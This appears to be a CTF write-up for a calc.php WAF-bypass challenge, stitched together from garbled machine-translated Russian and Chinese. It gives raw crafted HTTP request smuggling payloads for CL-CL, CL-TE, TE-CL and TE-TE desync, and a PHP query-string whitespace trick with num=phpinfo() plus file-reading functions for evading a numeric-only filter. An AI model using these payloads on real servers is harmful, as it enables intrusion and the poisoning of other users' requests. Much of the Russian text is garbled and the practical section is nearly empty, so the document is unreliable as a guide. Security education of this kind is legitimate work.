0x01 Название Описание
Открытое название , как показано выше, немного похож на национальный турнир love_math
F12View источник
Суггестивным wafи calc.phpвеб - страницу, давайте откроем страницу , чтобы увидеть , что с
открытым исходным кодом даются непосредственно, мы можем видеть фильтры из некоторых специальных символов, а затем evalвыполнить наш команда, думая о предыдущей waf, не может быть так просто, давайте попробуем передать некоторые символы попробовать.
Когда я прохожу характер, wafперехватил наш запрос
Тема прорыв:
- Только входящие номера и операторы, не могут передать характер (придумать способ, чтобы обойти WAF)
0x02 HTTP контрабандистов Нападения
1, Почему контрабанда лазейки
Фронтальный сервер (CDN)и внутренний сервер получает данные не синхронизированы, что приводит к несогласованности данных оценили входящий клиента, что приводит к уязвимости.
Большинство HTTPпроисходит потому , что запрос Контрабанда уязвимость HTTPспецификация предусматривает два различных способа указания запрашиваемую конечного положения: Content-Lengthзаголовок и Transfer-Encodingзаголовок.
В то же время , используя два различных метода, Content-Lengthявляется недействительным. При использовании нескольких серверов, данные передаются клиенту , когда несовместимое понимание, там будет несколько серверов думают Content-Lengthдлина действительно, некоторые Transfer-Encodingбыть эффективными. В нормальных условиях, обратный прокси - сервер между задним концом исходного сервера станции повторно TCPссылкой. Такое превышение длина будет сращена к следующему запросу является запросом, в результате чего HTTPна запрос контрабанде уязвимости.
2, запрос HTTP контрабандистов атаки пять способов
(1) CL не равен 0
所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。
前端代理服务器允许GET请求携带请求体；后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的Content-Length头，不进行处理。这就有可能导致请求走私。
构造请求示例：
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
\r\n是换行的意思，windows的换行是\r\n，unix的是\n，mac的是\r
攻击流程：
前端服务器收到该请求，读取Content-Length，判断这是一个完整的请求。
然后转发给后端服务器，后端服务器收到后，因为它不对Content-Length进行处理，由于Pipeline的存在，后端服务器就认为这是收到了两个请求，分别是：
第一个：
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二个：
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了请求走私。
（2）CL-CL
有些服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误。
但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程：
中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器。
而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母a，对于后端服务器来说，这个a是下一个请求的一部分，但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求：
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面，当后端服务器接收完毕后，它实际处理的请求其实是：
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
这时，用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且还可以扩展成类似于CSRF的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢？
所以想到前面所说的
RFC2616规范
如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length。
所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
（3）CL-TE
CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
连续发送几次请求就可以获得响应。
攻击流程：
由于前端服务器处理Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
0\r\n
\r\n
a
当请求包经过代理服务器转发给后端服务器时，后端服务器处理Transfer-Encoding，当它读取到
0\r\n
\r\n
认为已经读取到结尾了。
但剩下的字母a就被留在了缓冲区中，等待下一次请求。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求：
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服务器在解析时就会产生报错了，从而造成HTTP请求走私。
(4)TE-CL
TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding请求头，后端服务器处理Content-Length请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理Content-Length请求头，因为请求体的长度为4.也就是当它读取完
12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
(5)TE-TE
TE-TE，当收到存在两个请求头的请求包时，前后端服务器都处理Transfer-Encoding请求头，确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法，我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写)，从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器处理Transfer-encoding请求头，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。读取到
5c\r\n
认为是读取完毕了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
0x03 HTTP请求走私实战
其它几种请求走私依旧可以，就不测试了。
可能用得到的几个函数
scandir()函数 返回指定目录中的文件和目录的数组。base_convert()函数 在任意进制之间转换数字，返回一个字符串dechex()函数：把十进制转换为十六进制。hex2bin()函数：把十六进制值的字符串转换为 ASCII 字符。readfile()Функция
выводит файл.
Эта функция читает файл и записывается в выходной буфер. В случае успеха, число байтов , считанных из файла возвращается. Если не удается, возвращается ложь. Вы можете@readfile()вызывать эту функцию в виде , чтобы скрыть сообщение об ошибке.
0x04 PHP строка синтаксического анализа характеристик перепускных WAF
Найден ввод numтолько цифры, введите символы не могут быть решены.
Здесь вы можете воспользоваться характеристиками PHP строки синтаксического анализом обходного шунтирования: использование строки разбора PHP особенности обхода
таким образом , мы можем numперепускной фронт плюс пространстваwaf
http://www.xxx.com/index.php? num=phpinfo()
0x05 Ссылки Ссылки
https://xz.aliyun.com/t/6654#toc-1
https://www.freebuf.com/articles/web/213359.html
